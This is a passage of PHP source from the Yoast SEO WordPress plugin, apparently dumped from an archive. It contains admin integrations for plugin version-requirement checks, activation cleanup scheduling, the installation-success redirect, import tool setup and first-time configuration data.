		$requires_yoast_seo = ! empty( $info['Requires Yoast SEO'] ) ? $info['Requires Yoast SEO'] : false;

		if ( ! $this->check_requirement( $requires_yoast_seo ) ) {
			$error = \sprintf(
				/* translators: 1: Current Yoast SEO version, 2: Version required by the uploaded plugin. */
				\__( 'The Yoast SEO version on your site is %1$s, however the uploaded plugin requires %2$s.', 'wordpress-seo' ),
				\WPSEO_VERSION,
				\esc_html( $requires_yoast_seo )
			);

			return new WP_Error(
				'incompatible_yoast_seo_required_version',
				\__( 'The package could not be installed because it\'s not supported by the currently installed Yoast SEO version.', 'wordpress-seo' ),
				$error
			);
		}

		return $source;
	}

	/**
	 * Update the comparison table for the plugin installation when overwriting an existing plugin.
	 *
	 * @param string        $table               The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
	 * @param array<string> $current_plugin_data Array with current plugin data.
	 * @param array<string> $new_plugin_data     Array with uploaded plugin data.
	 *
	 * @return string The updated comparison table.
	 */
	public function update_comparison_table( $table, $current_plugin_data, $new_plugin_data ) {
		$requires_yoast_seo_current = ! empty( $current_plugin_data['Requires Yoast SEO'] ) ? $current_plugin_data['Requires Yoast SEO'] : false;
		$requires_yoast_seo_new     = ! empty( $new_plugin_data['Requires Yoast SEO'] ) ? $new_plugin_data['Requires Yoast SEO'] : false;

		if ( $requires_yoast_seo_current !== false || $requires_yoast_seo_new !== false ) {
			$new_row = \sprintf(
				'<tr><td class="name-label">%1$s</td><td>%2$s</td><td>%3$s</td></tr>',
				\__( 'Required Yoast SEO version', 'wordpress-seo' ),
				( $requires_yoast_seo_current !== false ) ? \esc_html( $requires_yoast_seo_current ) : '-',
				( $requires_yoast_seo_new !== false ) ? \esc_html( $requires_yoast_seo_new ) : '-'
			);

			$table = \str_replace( '</tbody>', $new_row . '</tbody>', $table );
		}

		return $table;
	}

	/**
	 * Check whether the required Yoast SEO version is installed.
	 *
	 * @param string|bool $required_version The required version.
	 *
	 * @return bool Whether the required version is installed, or no version is required.
	 */
	private function check_requirement( $required_version ) {
		if ( $required_version === false ) {
			return true;
		}

		return \version_compare( \WPSEO_VERSION, $required_version . '-RC0', '>=' );
	}
}
wordpress-seo/src/integrations/admin/activation-cleanup-integration.php000064400000003552147510273100022572 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * This integration registers a run of the cleanup routine whenever the plugin is activated.
 */
class Activation_Cleanup_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Activation_Cleanup_Integration constructor.
	 *
	 * @param Options_Helper   $options_helper   The options helper.
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Indexable_Helper $indexable_helper
	) {
		$this->options_helper   = $options_helper;
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the action to register a cleanup routine run after the plugin is activated.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_activate', [ $this, 'register_cleanup_routine' ], 11 );
	}

	/**
	 * Registers a run of the cleanup routine if this has not happened yet.
	 *
	 * @return void
	 */
	public function register_cleanup_routine() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return;
		}
		$first_activated_on = $this->options_helper->get( 'first_activated_on', false );

		if ( ! $first_activated_on || \time() > ( $first_activated_on + ( \MINUTE_IN_SECONDS * 5 ) ) ) {
			if ( ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
				\wp_schedule_single_event( ( \time() + \DAY_IN_SECONDS ), Cleanup_Integration::START_HOOK );
			}
		}
	}
}
wordpress-seo/src/integrations/admin/installation-success-integration.php000064400000010070147510273100023144 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Installation_Success_Integration class
 */
class Installation_Success_Integration implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Installation_Success_Integration constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 * @param Product_Helper $product_helper The product helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Product_Helper $product_helper
	) {
		$this->options_helper = $options_helper;
		$this->product_helper = $product_helper;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 9 );
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		\add_action( 'admin_init', [ $this, 'maybe_redirect' ] );
	}

	/**
	 * Redirects to the installation success page if an installation has just occurred.
	 *
	 * @return void
	 */
	public function maybe_redirect() {
		if ( \defined( 'DOING_AJAX' ) && \DOING_AJAX ) {
			return;
		}

		if ( ! $this->options_helper->get( 'should_redirect_after_install_free', false ) ) {
			return;
		}
		$this->options_helper->set( 'should_redirect_after_install_free', false );

		if ( ! empty( $this->options_helper->get( 'activation_redirect_timestamp_free', 0 ) ) ) {
			return;
		}
		$this->options_helper->set( 'activation_redirect_timestamp_free', \time() );

		// phpcs:ignore WordPress.Security.NonceVerification -- This is not a form.
		if ( isset( $_REQUEST['activate-multi'] ) && $_REQUEST['activate-multi'] === 'true' ) {
			return;
		}

		if ( $this->product_helper->is_premium() ) {
			return;
		}

		if ( \is_network_admin() || \is_plugin_active_for_network( \WPSEO_BASENAME ) ) {
			return;
		}

		\wp_safe_redirect( \admin_url( 'admin.php?page=wpseo_installation_successful_free' ), 302, 'Yoast SEO' );
		$this->terminate_execution();
	}

	/**
	 * Adds the installation success submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Installation Successful', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_installation_successful_free',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Enqueue assets on the Installation success page.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_installation_successful_free' ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'installation-success' );
		$asset_manager->enqueue_style( 'tailwind' );
		$asset_manager->enqueue_style( 'monorepo' );

		$ftc_url = \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ) );

		$asset_manager->localize_script(
			'installation-success',
			'wpseoInstallationSuccess',
			[
				'pluginUrl'                 => \esc_url( \plugins_url( '', \WPSEO_FILE ) ),
				'firstTimeConfigurationUrl' => $ftc_url,
				'dashboardUrl'              => \esc_url( \admin_url( 'admin.php?page=wpseo_dashboard' ) ),
			]
		);
	}

	/**
	 * Renders the installation success page.
	 *
	 * @return void
	 */
	public function render_page() {
		echo '<div id="wpseo-installation-successful-free" class="yoast"></div>';
	}

	/**
	 * Wrap the `exit` function to make unit testing easier.
	 *
	 * @return void
	 */
	public function terminate_execution() {
		exit;
	}
}
wordpress-seo/src/integrations/admin/import-integration.php000064400000021206147510273100020312 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast\WP\SEO\Routes\Importing_Route;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Loads import script when on the Tool's page.
 */
class Import_Integration implements Integration_Interface {

	/**
	 * Contains the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The Importable Detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * The Importing Route class.
	 *
	 * @var Importing_Route
	 */
	protected $importing_route;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [
			Import_Tool_Selected_Conditional::class,
			Yoast_Tools_Page_Conditional::class,
		];
	}

	/**
	 * Import Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager   $asset_manager       The asset manager.
	 * @param Importable_Detector_Service $importable_detector The importable detector.
	 * @param Importing_Route             $importing_route     The importing route.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Importable_Detector_Service $importable_detector,
		Importing_Route $importing_route
	) {
		$this->asset_manager       = $asset_manager;
		$this->importable_detector = $importable_detector;
		$this->importing_route     = $importing_route;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_import_script' ] );
	}

	/**
	 * Enqueues the Import script.
	 *
	 * @return void
	 */
	public function enqueue_import_script() {
		\wp_enqueue_style( 'dashicons' );
		$this->asset_manager->enqueue_script( 'import' );

		$data = [
			'restApi' => [
				'root'                => \esc_url_raw( \rest_url() ),
				'cleanup_endpoints'   => $this->get_cleanup_endpoints(),
				'importing_endpoints' => $this->get_importing_endpoints(),
				'nonce'               => \wp_create_nonce( 'wp_rest' ),
			],
			'assets'  => [
				'loading_msg_import'       => \esc_html__( 'The import can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'loading_msg_cleanup'      => \esc_html__( 'The cleanup can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'note'                     => \esc_html__( 'Note: ', 'wordpress-seo' ),
				'cleanup_after_import_msg' => \esc_html__( 'After you\'ve imported data from another SEO plugin, please make sure to clean up all the original data from that plugin. (step 5)', 'wordpress-seo' ),
				'select_placeholder'       => \esc_html__( 'Select SEO plugin', 'wordpress-seo' ),
				'no_data_msg'              => \esc_html__( 'No data found from other SEO plugins.', 'wordpress-seo' ),
				'validation_failure'       => $this->get_validation_failure_alert(),
				'import_failure'           => $this->get_import_failure_alert( true ),
				'cleanup_failure'          => $this->get_import_failure_alert( false ),
				'spinner'                  => \admin_url( 'images/loading.gif' ),
				'replacing_texts'          => [
					'cleanup_button'       => \esc_html__( 'Clean up', 'wordpress-seo' ),
					'import_explanation'   => \esc_html__( 'Please select an SEO plugin below to see what data can be imported.', 'wordpress-seo' ),
					'cleanup_explanation'  => \esc_html__( 'Once you\'re certain that your site is working properly with the imported data from another SEO plugin, you can clean up all the original data from that plugin.', 'wordpress-seo' ),
					/* translators: %s: expands to the name of the plugin that is selected to be imported */
					'select_header'        => \esc_html__( 'The import from %s includes:', 'wordpress-seo' ),
					'plugins'              => [
						'aioseo' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
							[
								'data_name' => \esc_html__( 'Default settings', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: These settings will overwrite the default settings of Yoast SEO.', 'wordpress-seo' ),
							],
						],
						'other' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
						],
					],
				],
			],
		];

		/**
		 * Filter: 'wpseo_importing_data' Filter to adapt the data used in the import process.
		 *
		 * @param array $data The import data to adapt.
		 */
		$data = \apply_filters( 'wpseo_importing_data', $data );

		$this->asset_manager->localize_script( 'import', 'yoastImportData', $data );
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_importing_endpoints() {
		$available_actions   = $this->importable_detector->detect_importers();
		$importing_endpoints = [];

		$available_sorted_actions = $this->sort_actions( $available_actions );

		foreach ( $available_sorted_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Sorts the array of importing actions, by moving any validating actions to the start for every plugin.
	 *
	 * @param array $available_actions The array of actions that we want to sort.
	 *
	 * @return array The sorted array of actions.
	 */
	protected function sort_actions( $available_actions ) {
		$first_action             = 'validate_data';
		$available_sorted_actions = [];

		foreach ( $available_actions as $plugin => $plugin_available_actions ) {

			$validate_action_position = \array_search( $first_action, $plugin_available_actions, true );

			if ( ! empty( $validate_action_position ) ) {
				unset( $plugin_available_actions[ $validate_action_position ] );
				\array_unshift( $plugin_available_actions, $first_action );
			}

			$available_sorted_actions[ $plugin ] = $plugin_available_actions;
		}

		return $available_sorted_actions;
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_cleanup_endpoints() {
		$available_actions   = $this->importable_detector->detect_cleanups();
		$importing_endpoints = [];

		foreach ( $available_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Gets the validation failure alert using the Alert_Presenter.
	 *
	 * @return string The validation failure alert.
	 */
	protected function get_validation_failure_alert() {
		$content  = \esc_html__( 'The AIOSEO import was cancelled because some AIOSEO data is missing. Please try and take the following steps to fix this:', 'wordpress-seo' );
		$content .= '<br/>';
		$content .= '<ol><li>';
		$content .= \esc_html__( 'If you have never saved any AIOSEO \'Search Appearance\' settings, please do that first and run the import again.', 'wordpress-seo' );
		$content .= '</li>';
		$content .= '<li>';
		$content .= \esc_html__( 'If you already have saved AIOSEO \'Search Appearance\' settings and the issue persists, please contact our support team so we can take a closer look.', 'wordpress-seo' );
		$content .= '</li></ol>';

		$validation_failure_alert = new Alert_Presenter( $content, 'error' );

		return $validation_failure_alert->present();
	}

	/**
	 * Gets the import failure alert using the Alert_Presenter.
	 *
	 * @param bool $is_import Wether it's an import or not.
	 *
	 * @return string The import failure alert.
	 */
	protected function get_import_failure_alert( $is_import ) {
		$content = \esc_html__( 'Cleanup failed with the following error:', 'wordpress-seo' );
		if ( $is_import ) {
			$content = \esc_html__( 'Import failed with the following error:', 'wordpress-seo' );
		}

		$content .= '<br/><br/>';
		$content .= \esc_html( '%s' );

		$import_failure_alert = new Alert_Presenter( $content, 'error' );

		return $import_failure_alert->present();
	}
}
wordpress-seo/src/integrations/admin/fix-news-dependencies-integration.php000064400000003065147510273100023167 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_Screen;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\News_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Fix_News_Dependencies_Integration class.
 */
class Fix_News_Dependencies_Integration implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, News_Conditional::class ];
	}

	/**
	 * Registers an action to disable script concatenation.
	 *
	 * @return void
	 */
	public function register_hooks() {
		global $pagenow;

		// Load the editor script when on an edit post or new post page.
		$is_post_edit_page = $pagenow === 'post.php' || $pagenow === 'post-new.php';
		if ( $is_post_edit_page ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'add_news_script_dependency' ], 11 );
		}
	}

	/**
	 * Fixes the news script dependency.
	 *
	 * @return void
	 */
	public function add_news_script_dependency() {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered['wpseo-news-editor'] ) ) {
			return;
		}

		$is_block_editor  = WP_Screen::get()->is_block_editor();
		$post_edit_handle = 'post-edit';
		if ( ! $is_block_editor ) {
			$post_edit_handle = 'post-edit-classic';
		}

		$scripts->registered['wpseo-news-editor']->deps[] = WPSEO_Admin_Asset_Manager::PREFIX . $post_edit_handle;
	}
}
wordpress-seo/src/integrations/admin/first-time-configuration-integration.php000064400000036264147510273100023742 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WP_User;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Option_Tab;
use WPSEO_Shortlinker;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\General\User_Interface\General_Page_Integration;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Social_Profiles_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Routes\Indexing_Route;

/**
 * First_Time_Configuration_Integration class
 */
class First_Time_Configuration_Integration implements Integration_Interface {

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The shortlinker.
	 *
	 * @var WPSEO_Shortlinker
	 */
	private $shortlinker;

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The social profiles helper.
	 *
	 * @var Social_Profiles_Helper
	 */
	private $social_profiles_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * The meta tags context helper.
	 *
	 * @var Meta_Tags_Context
	 */
	private $meta_tags_context;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager    The admin asset manager.
	 * @param WPSEO_Addon_Manager       $addon_manager          The addon manager.
	 * @param WPSEO_Shortlinker         $shortlinker            The shortlinker.
	 * @param Options_Helper            $options_helper         The options helper.
	 * @param Social_Profiles_Helper    $social_profiles_helper The social profile helper.
	 * @param Product_Helper            $product_helper         The product helper.
	 * @param Meta_Tags_Context         $meta_tags_context      The meta tags context helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		WPSEO_Addon_Manager $addon_manager,
		WPSEO_Shortlinker $shortlinker,
		Options_Helper $options_helper,
		Social_Profiles_Helper $social_profiles_helper,
		Product_Helper $product_helper,
		Meta_Tags_Context $meta_tags_context
	) {
		$this->admin_asset_manager    = $admin_asset_manager;
		$this->addon_manager          = $addon_manager;
		$this->shortlinker            = $shortlinker;
		$this->options_helper         = $options_helper;
		$this->social_profiles_helper = $social_profiles_helper;
		$this->product_helper         = $product_helper;
		$this->meta_tags_context      = $meta_tags_context;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		\add_action( 'wpseo_settings_tabs_dashboard', [ $this, 'add_first_time_configuration_tab' ] );
	}

	/**
	 * Adds a dedicated tab in the General sub-page.
	 *
	 * @param WPSEO_Options_Tabs $dashboard_tabs Object representing the tabs of the General sub-page.
	 *
	 * @return void
	 */
	public function add_first_time_configuration_tab( $dashboard_tabs ) {
		$dashboard_tabs->add_tab(
			new WPSEO_Option_Tab(
				'first-time-configuration',
				\__( 'First-time configuration', 'wordpress-seo' ),
				[ 'save_button' => false ]
			)
		);
	}

	/**
	 * Adds the data for the first-time configuration to the wpseoFirstTimeConfigurationData object.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Date is not processed or saved.
		if ( ! isset( $_GET['page'] ) || ( $_GET['page'] !== 'wpseo_dashboard' && $_GET['page'] !== General_Page_Integration::PAGE ) || \is_network_admin() ) {
			return;
		}

		$this->admin_asset_manager->enqueue_script( 'indexation' );
		$this->admin_asset_manager->enqueue_style( 'first-time-configuration' );
		$this->admin_asset_manager->enqueue_style( 'admin-css' );
		$this->admin_asset_manager->enqueue_style( 'monorepo' );

		$data = [
			'disabled'     => ! \YoastSEO()->helpers->indexable->should_index_indexables(),
			'amount'       => \YoastSEO()->helpers->indexing->get_filtered_unindexed_count(),
			'firstTime'    => ( \YoastSEO()->helpers->indexing->is_initial_indexing() === true ),
			'errorMessage' => '',
			'restApi'      => [
				'root'               => \esc_url_raw( \rest_url() ),
				'indexing_endpoints' => $this->get_endpoints(),
				'nonce'              => \wp_create_nonce( 'wp_rest' ),
			],
		];

		/**
		 * Filter: 'wpseo_indexing_data' Filter to adapt the data used in the indexing process.
		 *
		 * @param array $data The indexing data to adapt.
		 */
		$data = \apply_filters( 'wpseo_indexing_data', $data );

		$this->admin_asset_manager->localize_script( 'indexation', 'yoastIndexingData', $data );

		$person_id       = $this->get_person_id();
		$social_profiles = $this->get_social_profiles();

		// This filter is documented in admin/views/tabs/metas/paper-content/general/knowledge-graph.php.
		$knowledge_graph_message = \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' );

		$finished_steps        = $this->get_finished_steps();
		$options               = $this->get_company_or_person_options();
		$selected_option_label = '';
		$filtered_options      = \array_filter(
			$options,
			function ( $item ) {
				return $item['value'] === $this->is_company_or_person();
			}
		);
		$selected_option       = \reset( $filtered_options );
		if ( \is_array( $selected_option ) ) {
			$selected_option_label = $selected_option['label'];
		}

		$data_ftc = [
			'canEditUser'                => $this->can_edit_profile( $person_id ),
			'companyOrPerson'            => $this->is_company_or_person(),
			'companyOrPersonLabel'       => $selected_option_label,
			'companyName'                => $this->get_company_name(),
			'fallbackCompanyName'        => $this->get_fallback_company_name( $this->get_company_name() ),
			'websiteName'                => $this->get_website_name(),
			'fallbackWebsiteName'        => $this->get_fallback_website_name( $this->get_website_name() ),
			'companyLogo'                => $this->get_company_logo(),
			'companyLogoFallback'        => $this->get_company_fallback_logo( $this->get_company_logo() ),
			'companyLogoId'              => $this->get_person_logo_id(),
			'finishedSteps'              => $finished_steps,
			'personId'                   => (int) $person_id,
			'personName'                 => $this->get_person_name(),
			'personLogo'                 => $this->get_person_logo(),
			'personLogoFallback'         => $this->get_person_fallback_logo( $this->get_person_logo() ),
			'personLogoId'               => $this->get_person_logo_id(),
			'siteTagline'                => $this->get_site_tagline(),
			'socialProfiles'             => [
				'facebookUrl'     => $social_profiles['facebook_site'],
				'twitterUsername' => $social_profiles['twitter_site'],
				'otherSocialUrls' => $social_profiles['other_social_urls'],
			],
			'isPremium'                  => $this->product_helper->is_premium(),
			'tracking'                   => $this->has_tracking_enabled(),
			'isTrackingAllowedMultisite' => $this->is_tracking_enabled_multisite(),
			'isMainSite'                 => $this->is_main_site(),
			'companyOrPersonOptions'     => $options,
			'shouldForceCompany'         => $this->should_force_company(),
			'knowledgeGraphMessage'      => $knowledge_graph_message,
			'shortlinks'                 => [
				'gdpr'                     => $this->shortlinker->build_shortlink( 'https://yoa.st/gdpr-config-workout' ),
				'configIndexables'         => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables' ),
				'configIndexablesBenefits' => $this->shortlinker->build_shortlink( 'https://yoa.st/config-indexables-benefits' ),
			],
		];

		$this->admin_asset_manager->localize_script( 'general-page', 'wpseoFirstTimeConfigurationData', $data_ftc );
	}

	/**
	 * Retrieves a list of the endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_endpoints() {
		$endpoints = [
			'prepare'            => Indexing_Route::FULL_PREPARE_ROUTE,
			'terms'              => Indexing_Route::FULL_TERMS_ROUTE,
			'posts'              => Indexing_Route::FULL_POSTS_ROUTE,
			'archives'           => Indexing_Route::FULL_POST_TYPE_ARCHIVES_ROUTE,
			'general'            => Indexing_Route::FULL_GENERAL_ROUTE,
			'indexablesComplete' => Indexing_Route::FULL_INDEXABLES_COMPLETE_ROUTE,
			'post_link'          => Indexing_Route::FULL_POST_LINKS_INDEXING_ROUTE,
			'term_link'          => Indexing_Route::FULL_TERM_LINKS_INDEXING_ROUTE,
		];

		$endpoints = \apply_filters( 'wpseo_indexing_endpoints', $endpoints );

		$endpoints['complete'] = Indexing_Route::FULL_COMPLETE_ROUTE;

		return $endpoints;
	}

	// ** Private functions ** //

	/**
	 * Returns the finished steps array.
	 *
	 * @return array An array with the finished steps.
	 */
	private function get_finished_steps() {
		return $this->options_helper->get( 'configuration_finished_steps', [] );
	}

	/**
	 * Returns the entity represented by the site.
	 *
	 * @return string The entity represented by the site.
	 */
	private function is_company_or_person() {
		return $this->options_helper->get( 'company_or_person', '' );
	}

	/**
	 * Gets the company name from the option in the database.
	 *
	 * @return string The company name.
	 */
	private function get_company_name() {
		return $this->options_helper->get( 'company_name', '' );
	}

	/**
	 * Gets the fallback company name from the option in the database if there is no company name.
	 *
	 * @param string $company_name The given company name by the user, default empty string.
	 *
	 * @return string|false The company name.
	 */
	private function get_fallback_company_name( $company_name ) {
		if ( $company_name ) {
			return false;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Gets the website name from the option in the database.
	 *
	 * @return string The website name.
	 */
	private function get_website_name() {
		return $this->options_helper->get( 'website_name', '' );
	}

	/**
	 * Gets the fallback website name from the option in the database if there is no website name.
	 *
	 * @param string $website_name The given website name by the user, default empty string.
	 *
	 * @return string|false The website name.
	 */
	private function get_fallback_website_name( $website_name ) {
		if ( $website_name ) {
			return false;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Gets the company logo from the option in the database.
	 *
	 * @return string The company logo.
	 */
	private function get_company_logo() {
		return $this->options_helper->get( 'company_logo', '' );
	}

	/**
	 * Gets the company logo id from the option in the database.
	 *
	 * @return string The company logo id.
	 */
	private function get_company_logo_id() {
		return $this->options_helper->get( 'company_logo_id', '' );
	}

	/**
	 * Gets the company logo url from the option in the database.
	 *
	 * @param string $company_logo The given company logo by the user, default empty.
	 *
	 * @return string|false The company logo URL.
	 */
	private function get_company_fallback_logo( $company_logo ) {
		if ( $company_logo ) {
			return false;
		}
		$logo_id = $this->meta_tags_context->fallback_to_site_logo();

		return \esc_url( \wp_get_attachment_url( $logo_id ) );
	}

	/**
	 * Gets the person id from the option in the database.
	 *
	 * @return int|null The person id, null if empty.
	 */
	private function get_person_id() {
		return $this->options_helper->get( 'company_or_person_user_id' );
	}

	/**
	 * Gets the person id from the option in the database.
	 *
	 * @return int|null The person id, null if empty.
	 */
	private function get_person_name() {
		$user = \get_userdata( $this->get_person_id() );
		if ( $user instanceof WP_User ) {
			return $user->get( 'display_name' );
		}

		return '';
	}

	/**
	 * Gets the person avatar from the option in the database.
	 *
	 * @return string The person logo.
	 */
	private function get_person_logo() {
		return $this->options_helper->get( 'person_logo', '' );
	}

	/**
	 * Gets the person logo url from the option in the database.
	 *
	 * @param string $person_logo The given person logo by the user, default empty.
	 *
	 * @return string|false The person logo URL.
	 */
	private function get_person_fallback_logo( $person_logo ) {
		if ( $person_logo ) {
			return false;
		}
		$logo_id = $this->meta_tags_context->fallback_to_site_logo();

		return \esc_url( \wp_get_attachment_url( $logo_id ) );
	}

	/**
	 * Gets the person logo id from the option in the database.
	 *
	 * @return string The person logo id.
	 */
	private function get_person_logo_id() {
		return $this->options_helper->get( 'person_logo_id', '' );
	}

	/**
	 * Gets the site tagline.
	 *
	 * @return string The site tagline.
	 */
	private function get_site_tagline() {
		return \get_bloginfo( 'description' );
	}

	/**
	 * Gets the social profiles stored in the database.
	 *
	 * @return string[] The social profiles.
	 */
	private function get_social_profiles() {
		return $this->social_profiles_helper->get_organization_social_profiles();
	}

	/**
	 * Checks whether tracking is enabled.
	 *
	 * @return bool True if tracking is enabled, false otherwise, null if in Free and conf. workout step not finished.
	 */
	private function has_tracking_enabled() {
		$default = false;

		if ( $this->product_helper->is_premium() ) {
			$default = true;
		}

		return $this->options_helper->get( 'tracking', $default );
	}

	/**
	 * Checks whether tracking option is allowed at network level.
	 *
	 * @return bool True if option change is allowed, false otherwise.
	 */
	private function is_tracking_enabled_multisite() {
		$default = true;

		if ( ! \is_multisite() ) {
			return $default;
		}

		return $this->options_helper->get( 'allow_tracking', $default );
	}

	/**
	 * Checks whether we are in a main site.
	 *
	 * @return bool True if it's the main site or a single site, false if it's a subsite.
	 */
	private function is_main_site() {
		return \is_main_site();
	}

	/**
	 * Gets the options for the Company or Person select.
	 * Returns only the company option if it is forced (by Local SEO), otherwise returns company and person option.
	 *
	 * @return array The options for the company-or-person select.
	 */
	private function get_company_or_person_options() {
		$options = [
			[
				'label' => \__( 'Organization', 'wordpress-seo' ),
				'value' => 'company',
				'id'    => 'company',
			],
			[
				'label' => \__( 'Person', 'wordpress-seo' ),
				'value' => 'person',
				'id'    => 'person',
			],
		];
		if ( $this->should_force_company() ) {
			$options = [
				[
					'label' => \__( 'Organization', 'wordpress-seo' ),
					'value' => 'company',
					'id'    => 'company',
				],
			];
		}

		return $options;
	}

	/**
	 * Checks whether we should force "Organization".
	 *
